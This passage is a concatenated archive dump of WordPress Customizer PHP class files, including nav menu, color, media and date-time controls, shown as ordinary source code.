			$r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
			$original_name = $menu_data['menu-name'];
			$name_conflict_suffix = 1;
			while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) {
				$name_conflict_suffix += 1;
				/* translators: 1: original menu name, 2: duplicate count */
				$menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix );
				$r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
			}

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error  = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_term_id = $this->term_id;
					$this->term_id          = $r;
					$this->update_status    = 'inserted';
				} else {
					$this->update_status = 'updated';
				}

				$auto_add = $value['auto_add'];
			}
		}

		if ( null !== $auto_add ) {
			$nav_menu_options = $this->filter_nav_menu_options_value(
				(array) get_option( 'nav_menu_options', array() ),
				$this->term_id,
				$auto_add
			);
			update_option( 'nav_menu_options', $nav_menu_options );
		}

		if ( 'inserted' === $this->update_status ) {
			// Make sure that new menus assigned to nav menu locations use their new IDs.
			foreach ( $this->manager->settings() as $setting ) {
				if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) {
					continue;
				}

				$post_value = $setting->post_value( null );
				if ( ! is_null( $post_value ) && $this->previous_term_id === intval( $post_value ) ) {
					$this->manager->set_post_value( $setting->id, $this->term_id );
					$setting->save();
				}
			}

			// Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client.
			foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) {
				$nav_menu_widget_setting = $this->manager->get_setting( $setting_id );
				if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) {
					continue;
				}

				$widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance().
				if ( empty( $widget_instance['nav_menu'] ) || intval( $widget_instance['nav_menu'] ) !== $this->previous_term_id ) {
					continue;
				}

				$widget_instance['nav_menu'] = $this->term_id;
				$updated_widget_instance = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance );
				$this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance );
				$nav_menu_widget_setting->save();

				$this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance;
			}
		}
	}

	/**
	 * Updates a nav_menu_options array.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options()
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 *
	 * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ).
	 * @param int   $menu_id          The term ID for the given menu.
	 * @param bool  $auto_add         Whether to auto-add or not.
	 * @return array (Maybe) modified nav_menu_otions array.
	 */
	protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) {
		$nav_menu_options = (array) $nav_menu_options;
		if ( ! isset( $nav_menu_options['auto_add'] ) ) {
			$nav_menu_options['auto_add'] = array();
		}

		$i = array_search( $menu_id, $nav_menu_options['auto_add'] );
		if ( $auto_add && false === $i ) {
			array_push( $nav_menu_options['auto_add'], $this->term_id );
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_options['auto_add'], $i, 1 );
		}

		return $nav_menu_options;
	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Export data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_updates'] ) ) {
			$data['nav_menu_updates'] = array();
		}
		if ( ! isset( $data['widget_nav_menu_updates'] ) ) {
			$data['widget_nav_menu_updates'] = array();
		}

		$data['nav_menu_updates'][] = array(
			'term_id'          => $this->term_id,
			'previous_term_id' => $this->previous_term_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
			'saved_value'      => 'deleted' === $this->update_status ? null : $this->value(),
		);

		$data['widget_nav_menu_updates'] = array_merge(
			$data['widget_nav_menu_updates'],
			$this->_widget_nav_menu_updates
		);
		$this->_widget_nav_menu_updates = array();

		return $data;
	}
}
class-wp-customize-nav-menu-item-control.php000066600000014462151122675370015210 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the name field for a given menu.
 *
 * @since 4.3.0
 */
class WP_Customize_Nav_Menu_Item_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_item';

	/**
	 * The nav menu item setting.
	 *
	 * @since 4.3.0
	 * @var WP_Customize_Nav_Menu_Item_Setting
	 */
	public $setting;

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      The control ID.
	 * @param array                $args    Optional. Overrides class property defaults.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Don't render the control's content - it's rendered with a JS template.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.3.0
	 */
	public function content_template() {
		?>
		<div class="menu-item-bar">
			<div class="menu-item-handle">
				<span class="item-type" aria-hidden="true">{{ data.item_type_label }}</span>
				<span class="item-title" aria-hidden="true">
					<span class="spinner"></span>
					<span class="menu-item-title<# if ( ! data.title && ! data.original_title ) { #> no-title<# } #>">{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}</span>
				</span>
				<span class="item-controls">
					<button type="button" class="button-link item-edit" aria-expanded="false"><span class="screen-reader-text"><?php
						/* translators: 1: Title of a menu item, 2: Type of a menu item */
						printf( __( 'Edit menu item: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
					?></span><span class="toggle-indicator" aria-hidden="true"></span></button>
					<button type="button" class="button-link item-delete submitdelete deletion"><span class="screen-reader-text"><?php
						/* translators: 1: Title of a menu item, 2: Type of a menu item */
						printf( __( 'Remove Menu Item: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
					?></span></button>
				</span>
			</div>
		</div>

		<div class="menu-item-settings" id="menu-item-settings-{{ data.menu_item_id }}">
			<# if ( 'custom' === data.item_type ) { #>
			<p class="field-url description description-thin">
				<label for="edit-menu-item-url-{{ data.menu_item_id }}">
					<?php _e( 'URL' ); ?><br />
					<input class="widefat code edit-menu-item-url" type="text" id="edit-menu-item-url-{{ data.menu_item_id }}" name="menu-item-url" />
				</label>
			</p>
		<# } #>
			<p class="description description-thin">
				<label for="edit-menu-item-title-{{ data.menu_item_id }}">
					<?php _e( 'Navigation Label' ); ?><br />
					<input type="text" id="edit-menu-item-title-{{ data.menu_item_id }}" placeholder="{{ data.original_title }}" class="widefat edit-menu-item-title" name="menu-item-title" />
				</label>
			</p>
			<p class="field-link-target description description-thin">
				<label for="edit-menu-item-target-{{ data.menu_item_id }}">
					<input type="checkbox" id="edit-menu-item-target-{{ data.menu_item_id }}" class="edit-menu-item-target" value="_blank" name="menu-item-target" />
					<?php _e( 'Open link in a new tab' ); ?>
				</label>
			</p>
			<p class="field-title-attribute field-attr-title description description-thin">
				<label for="edit-menu-item-attr-title-{{ data.menu_item_id }}">
					<?php _e( 'Title Attribute' ); ?><br />
					<input type="text" id="edit-menu-item-attr-title-{{ data.menu_item_id }}" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title" />
				</label>
			</p>
			<p class="field-css-classes description description-thin">
				<label for="edit-menu-item-classes-{{ data.menu_item_id }}">
					<?php _e( 'CSS Classes' ); ?><br />
					<input type="text" id="edit-menu-item-classes-{{ data.menu_item_id }}" class="widefat code edit-menu-item-classes" name="menu-item-classes" />
				</label>
			</p>
			<p class="field-xfn description description-thin">
				<label for="edit-menu-item-xfn-{{ data.menu_item_id }}">
					<?php _e( 'Link Relationship (XFN)' ); ?><br />
					<input type="text" id="edit-menu-item-xfn-{{ data.menu_item_id }}" class="widefat code edit-menu-item-xfn" name="menu-item-xfn" />
				</label>
			</p>
			<p class="field-description description description-thin">
				<label for="edit-menu-item-description-{{ data.menu_item_id }}">
					<?php _e( 'Description' ); ?><br />
					<textarea id="edit-menu-item-description-{{ data.menu_item_id }}" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description">{{ data.description }}</textarea>
					<span class="description"><?php _e( 'The description will be displayed in the menu if the current theme supports it.' ); ?></span>
				</label>
			</p>

			<div class="menu-item-actions description-thin submitbox">
				<# if ( ( 'post_type' === data.item_type || 'taxonomy' === data.item_type ) && '' !== data.original_title ) { #>
				<p class="link-to-original">
					<?php
						/* translators: Nav menu item original title. 1: Original title */
						printf( __( 'Original: %s' ), '<a class="original-link" href="{{ data.url }}">{{ data.original_title }}</a>' );
					?>
				</p>
				<# } #>

				<button type="button" class="button-link button-link-delete item-delete submitdelete deletion"><?php _e( 'Remove' ); ?></button>
				<span class="spinner"></span>
			</div>
			<input type="hidden" name="menu-item-db-id[{{ data.menu_item_id }}]" class="menu-item-data-db-id" value="{{ data.menu_item_id }}" />
			<input type="hidden" name="menu-item-parent-id[{{ data.menu_item_id }}]" class="menu-item-data-parent-id" value="{{ data.parent }}" />
		</div><!-- .menu-item-settings-->
		<ul class="menu-item-transport"></ul>
		<?php
	}

	/**
	 * Return parameters for this control.
	 *
	 * @since 4.3.0
	 *
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported                 = parent::json();
		$exported['menu_item_id'] = $this->setting->post_id;

		return $exported;
	}
}
class-wp-customize-header-image-setting.php000066600000003066151122675370015031 0ustar00<?php
/**
 * Customize API: WP_Customize_Header_Image_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * A setting that is used to filter a value, but will not save the results.
 *
 * Results should be properly handled using another setting or callback.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Header_Image_Setting extends WP_Customize_Setting {
	public $id = 'header_image_data';

	/**
	 * @since 3.4.0
	 *
	 * @global Custom_Image_Header $custom_image_header
	 *
	 * @param $value
	 */
	public function update( $value ) {
		global $custom_image_header;

		// If _custom_header_background_just_in_time() fails to initialize $custom_image_header when not is_admin().
		if ( empty( $custom_image_header ) ) {
			require_once( ABSPATH . 'wp-admin/custom-header.php' );
			$args = get_theme_support( 'custom-header' );
			$admin_head_callback = isset( $args[0]['admin-head-callback'] ) ? $args[0]['admin-head-callback'] : null;
			$admin_preview_callback = isset( $args[0]['admin-preview-callback'] ) ? $args[0]['admin-preview-callback'] : null;
			$custom_image_header = new Custom_Image_Header( $admin_head_callback, $admin_preview_callback );
		}

		// If the value doesn't exist (removed or random),
		// use the header_image value.
		if ( ! $value )
			$value = $this->manager->get_setting('header_image')->post_value();

		if ( is_array( $value ) && isset( $value['choice'] ) )
			$custom_image_header->set_header_image( $value['choice'] );
		else
			$custom_image_header->set_header_image( $value );
	}
}
class-wp-customize-color-control.php000066600000005464151122675370013646 0ustar00<?php
/**
 * Customize API: WP_Customize_Color_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Color Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Color_Control extends WP_Customize_Control {
	/**
	 * Type.
	 *
	 * @var string
	 */
	public $type = 'color';

	/**
	 * Statuses.
	 *
	 * @var array
	 */
	public $statuses;

	/**
	 * Mode.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $mode = 'full';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$this->statuses = array( '' => __('Default') );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Enqueue scripts/styles for the color picker.
	 *
	 * @since 3.4.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_style( 'wp-color-picker' );
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['statuses'] = $this->statuses;
		$this->json['defaultValue'] = $this->setting->default;
		$this->json['mode'] = $this->mode;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 3.4.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the color picker control.
	 *
	 * @since 4.1.0
	 */
	public function content_template() {
		?>
		<# var defaultValue = '#RRGGBB', defaultValueAttr = '',
			isHueSlider = data.mode === 'hue';
		if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) {
			if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
				defaultValue = '#' + data.defaultValue;
			} else {
				defaultValue = data.defaultValue;
			}
			defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically.
		} #>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<label><span class="screen-reader-text">{{{ data.label }}}</span>
			<# if ( isHueSlider ) { #>
				<input class="color-picker-hue" type="text" data-type="hue" />
			<# } else { #>
				<input class="color-picker-hex" type="text" maxlength="7" placeholder="{{ defaultValue }}" {{ defaultValueAttr }} />
 			<# } #>
			</label>
		</div>
		<?php
	}
}
class-wp-customize-cropped-image-control.php000066600000002664151122675370015243 0ustar00<?php
/**
 * Customize API: WP_Customize_Cropped_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Cropped Image Control class.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Cropped_Image_Control extends WP_Customize_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'cropped_image';

	/**
	 * Suggested width for cropped image.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $width = 150;

	/**
	 * Suggested height for cropped image.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $height = 150;

	/**
	 * Whether the width is flexible.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	public $flex_width = false;

	/**
	 * Whether the height is flexible.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	public $flex_height = false;

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.3.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'customize-views' );

		parent::enqueue();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['width']       = absint( $this->width );
		$this->json['height']      = absint( $this->height );
		$this->json['flex_width']  = absint( $this->flex_width );
		$this->json['flex_height'] = absint( $this->flex_height );
	}

}
class-wp-customize-sidebar-section.php000066600000002026151122675370014114 0ustar00<?php
/**
 * Customize API: WP_Customize_Sidebar_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customizer section representing widget area (sidebar).
 *
 * @since 4.1.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Sidebar_Section extends WP_Customize_Section {

	/**
	 * Type of this section.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'sidebar';

	/**
	 * Unique identifier.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $sidebar_id;

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$json = parent::json();
		$json['sidebarId'] = $this->sidebar_id;
		return $json;
	}

	/**
	 * Whether the current sidebar is rendered on the page.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Whether sidebar is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id );
	}
}
class-wp-customize-nav-menu-section.php000066600000001305151122675370014230 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Section Class
 *
 * Custom section only needed in JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Nav_Menu_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu';

	/**
	 * Get section parameters for JS.
	 *
	 * @since 4.3.0
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported = parent::json();
		$exported['menu_id'] = intval( preg_replace( '/^nav_menu\[(-?\d+)\]/', '$1', $this->id ) );

		return $exported;
	}
}
class-wp-customize-new-menu-control.php000066600000002535151122675370014257 0ustar00<?php
/**
 * Customize API: WP_Customize_New_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

/**
 * Customize control class for new menus.
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Control
 */
class WP_Customize_New_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 *
	 * @param WP_Customize_Manager $manager Manager.
	 * @param string               $id      ID.
	 * @param array                $args    Args.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_file( basename( __FILE__ ), '4.9.0' ); // @todo Move this outside of class, and remove its require_once() from class-wp-customize-control.php. See #42364.
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the control's content.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {
		?>
		<button type="button" class="button button-primary" id="create-new-menu-submit"><?php _e( 'Create Menu' ); ?></button>
		<span class="spinner"></span>
		<?php
	}
}
class-wp-customize-date-time-control.php000066600000020473151122675370014376 0ustar00<?php
/**
 * Customize API: WP_Customize_Date_Time_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Date Time Control class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Date_Time_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'date_time';

	/**
	 * Minimum Year.
	 *
	 * @since 4.9.0
	 * @var integer
	 */
	public $min_year = 1000;

	/**
	 * Maximum Year.
	 *
	 * @since 4.9.0
	 * @var integer
	 */
	public $max_year = 9999;

	/**
	 * Allow past date, if set to false user can only select future date.
	 *
	 * @since 4.9.0
	 * @var boolean
	 */
	public $allow_past_date = true;

	/**
	 * Whether hours, minutes, and meridian should be shown.
	 *
	 * @since 4.9.0
	 * @var boolean
	 */
	public $include_time = true;

	/**
	 * If set to false the control will appear in 24 hour format,
	 * the value will still be saved in Y-m-d H:i:s format.
	 *
	 * @since 4.9.0
	 * @var boolean
	 */
	public $twelve_hour_format = true;

	/**
	 * Don't render the control's content - it's rendered with a JS template.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Export data to JS.
	 *
	 * @since 4.9.0
	 * @return array
	 */
	public function json() {
		$data = parent::json();

		$data['maxYear'] = intval( $this->max_year );
		$data['minYear'] = intval( $this->min_year );
		$data['allowPastDate'] = (bool) $this->allow_past_date;
		$data['twelveHourFormat'] = (bool) $this->twelve_hour_format;
		$data['includeTime'] = (bool) $this->include_time;

		return $data;
	}

	/**
	 * Renders a JS template for the content of date time control.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		$data = array_merge( $this->json(), $this->get_month_choices() );
		$timezone_info = $this->get_timezone_info();

		$date_format = get_option( 'date_format' );
		$date_format = preg_replace( '/(?<!\\\\)[Yyo]/', '%1$s', $date_format );
		$date_format = preg_replace( '/(?<!\\\\)[FmMn]/', '%2$s', $date_format );
		$date_format = preg_replace( '/(?<!\\\\)[jd]/', '%3$s', $date_format );

		// Fallback to ISO date format if year, month, or day are missing from the date format.
		if ( 1 !== substr_count( $date_format, '%1$s' ) || 1 !== substr_count( $date_format, '%2$s' ) || 1 !== substr_count( $date_format, '%3$s' ) ) {
			$date_format = '%1$s-%2$s-%3$s';
		}
		?>

		<# _.defaults( data, <?php echo wp_json_encode( $data ); ?> ); #>
		<# var idPrefix = _.uniqueId( 'el' ) + '-'; #>

		<# if ( data.label ) { #>
			<span class="customize-control-title">
				{{ data.label }}
			</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{ data.description }}</span>
		<# } #>
		<div class="date-time-fields {{ data.includeTime ? 'includes-time' : '' }}">
			<fieldset class="day-row">
				<legend class="title-day {{ ! data.includeTime ? 'screen-reader-text' : '' }}"><?php esc_html_e( 'Date' ); ?></legend>
				<div class="day-fields clear">
					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-month" class="screen-reader-text"><?php esc_html_e( 'Month' ); ?></label>
					<select id="{{ idPrefix }}date-time-month" class="date-input month" data-component="month">
						<# _.each( data.month_choices, function( choice ) {
							if ( _.isObject( choice ) && ! _.isUndefined( choice.text ) && ! _.isUndefined( choice.value ) ) {
								text = choice.text;
								value = choice.value;
							}
							#>
							<option value="{{ value }}" >
								{{ text }}
							</option>
						<# } ); #>
					</select>
					<?php $month_field = trim( ob_get_clean() ); ?>

					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-day" class="screen-reader-text"><?php esc_html_e( 'Day' ); ?></label>
					<input id="{{ idPrefix }}date-time-day" type="number" size="2" autocomplete="off" class="date-input day" data-component="day" min="1" max="31" />
					<?php $day_field = trim( ob_get_clean() ); ?>

					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-year" class="screen-reader-text"><?php esc_html_e( 'Year' ); ?></label>
					<input id="{{ idPrefix }}date-time-year" type="number" size="4" autocomplete="off" class="date-input year" data-component="year" min="{{ data.minYear }}" max="{{ data.maxYear }}">
					<?php $year_field = trim( ob_get_clean() ); ?>

					<?php printf( $date_format, $year_field, $month_field, $day_field ); ?>
				</div>
			</fieldset>
			<# if ( data.includeTime ) { #>
				<fieldset class="time-row clear">
					<legend class="title-time"><?php esc_html_e( 'Time' ); ?></legend>
					<div class="time-fields clear">
						<label for="{{ idPrefix }}date-time-hour" class="screen-reader-text"><?php esc_html_e( 'Hour' ); ?></label>
						<# var maxHour = data.twelveHourFormat ? 12 : 23; #>
						<# var minHour = data.twelveHourFormat ? 1 : 0; #>
						<input id="{{ idPrefix }}date-time-hour" type="number" size="2" autocomplete="off" class="date-input hour" data-component="hour" min="{{ minHour }}" max="{{ maxHour }}">
						:
						<label for="{{ idPrefix }}date-time-minute" class="screen-reader-text"><?php esc_html_e( 'Minute' ); ?></label>
						<input id="{{ idPrefix }}date-time-minute" type="number" size="2" autocomplete="off" class="date-input minute" data-component="minute" min="0" max="59">
						<# if ( data.twelveHourFormat ) { #>
							<label for="{{ idPrefix }}date-time-meridian" class="screen-reader-text"><?php esc_html_e( 'Meridian' ); ?></label>
							<select id="{{ idPrefix }}date-time-meridian" class="date-input meridian" data-component="meridian">
								<option value="am"><?php esc_html_e( 'AM' ); ?></option>
								<option value="pm"><?php esc_html_e( 'PM' ); ?></option>
							</select>
						<# } #>
						<abbr class="date-timezone" aria-label="<?php esc_attr_e( 'Timezone' ); ?>" title="<?php echo esc_attr( $timezone_info['description'] ); ?>"><?php echo esc_html( $timezone_info['abbr'] ); ?></abbr>
					</div>
				</fieldset>
			<# } #>
		</div>
		<?php
	}

	/**
	 * Generate options for the month Select.
	 *
	 * Based on touch_time().
	 *
	 * @since 4.9.0
	 * @see touch_time()
	 *
	 * @return array
	 */
	public function get_month_choices() {
		global $wp_locale;
		$months = array();
		for ( $i = 1; $i < 13; $i++ ) {
			$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );

			/* translators: 1: month number (01, 02, etc.), 2: month abbreviation */
			$months[ $i ]['text'] = sprintf( __( '%1$s-%2$s' ), $i, $month_text );
			$months[ $i ]['value'] = $i;
		}
		return array(
			'month_choices' => $months,
		);
	}

	/**
	 * Get timezone info.
	 *
	 * @since 4.9.0
	 *
	 * @return array abbr and description.
	 */
	public function get_timezone_info() {
		$tz_string = get_option( 'timezone_string' );
		$timezone_info = array();

		if ( $tz_string ) {
			try {
				$tz = new DateTimezone( $tz_string );
			} catch ( Exception $e ) {
				$tz = '';
			}

			if ( $tz ) {
				$now = new DateTime( 'now', $tz );
				$formatted_gmt_offset = sprintf( 'UTC%s', $this->format_gmt_offset( $tz->getOffset( $now ) / 3600 ) );
				$tz_name = str_replace( '_', ' ', $tz->getName() );
				$timezone_info['abbr'] = $now->format( 'T' );

				/* translators: 1: timezone name, 2: timezone abbreviation, 3: gmt offset  */
				$timezone_info['description'] = sprintf( __( 'Timezone is %1$s (%2$s), currently %3$s.' ), $tz_name, $timezone_info['abbr'], $formatted_gmt_offset );
			} else {
				$timezone_info['description'] = '';
			}
		} else {
			$formatted_gmt_offset = $this->format_gmt_offset( intval( get_option( 'gmt_offset', 0 ) ) );
			$timezone_info['abbr'] = sprintf( 'UTC%s', $formatted_gmt_offset );

			/* translators: %s: UTC offset  */
			$timezone_info['description'] = sprintf( __( 'Timezone is %s.' ), $timezone_info['abbr'] );
		}

		return $timezone_info;
	}

	/**
	 * Format GMT Offset.
	 *
	 * @since 4.9.0
	 * @see wp_timezone_choice()
	 *
	 * @param float $offset Offset in hours.
	 * @return string Formatted offset.
	 */
	public function format_gmt_offset( $offset ) {
		if ( 0 <= $offset ) {
			$formatted_offset = '+' . (string) $offset;
		} else {
			$formatted_offset = (string) $offset;
		}
		$formatted_offset = str_replace(
			array( '.25', '.5', '.75' ),
			array( ':15', ':30', ':45' ),
			$formatted_offset
		);
		return $formatted_offset;
	}
}
class-wp-customize-media-control.php000066600000022034151122675370013577 0ustar00<?php
/**
 * Customize API: WP_Customize_Media_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Media Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Media_Control extends WP_Customize_Control {
	/**
	 * Control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'media';

	/**
	 * Media control mime type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $button_labels = array();

	/**
	 * Constructor.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function enqueue() {
		wp_enqueue_media();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$this->json['mime_type'] = $this->mime_type;
		$this->json['button_labels'] = $this->button_labels;
		$this->json['canUpload'] = current_user_can( 'upload_files' );

		$value = $this->value();

		if ( is_object( $this->setting ) ) {
			if ( $this->setting->default ) {
				// Fake an attachment model - needs all fields used by template.
				// Note that the default value must be a URL, NOT an attachment ID.
				$type = in_array( substr( $this->setting->default, -3 ), array( 'jpg', 'png', 'gif', 'bmp' ) ) ? 'image' : 'document';
				$default_attachment = array(
					'id' => 1,
					'url' => $this->setting->default,
					'type' => $type,
					'icon' => wp_mime_type_icon( $type ),
					'title' => basename( $this->setting->default ),
				);

				if ( 'image' === $type ) {
					$default_attachment['sizes'] = array(
						'full' => array( 'url' => $this->setting->default ),
					);
				}

				$this->json['defaultAttachment'] = $default_attachment;
			}

			if ( $value && $this->setting->default && $value === $this->setting->default ) {
				// Set the default as the attachment.
				$this->json['attachment'] = $this->json['defaultAttachment'];
			} elseif ( $value ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
			}
		}
	}

	/**
	 * Don't render any content for this control from PHP.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Media_Control::content_template()
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the media control.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function content_template() {
		?>
		<#
		var selectButtonId = _.uniqueId( 'customize-media-control-button-' );
		var descriptionId = _.uniqueId( 'customize-media-control-description-' );
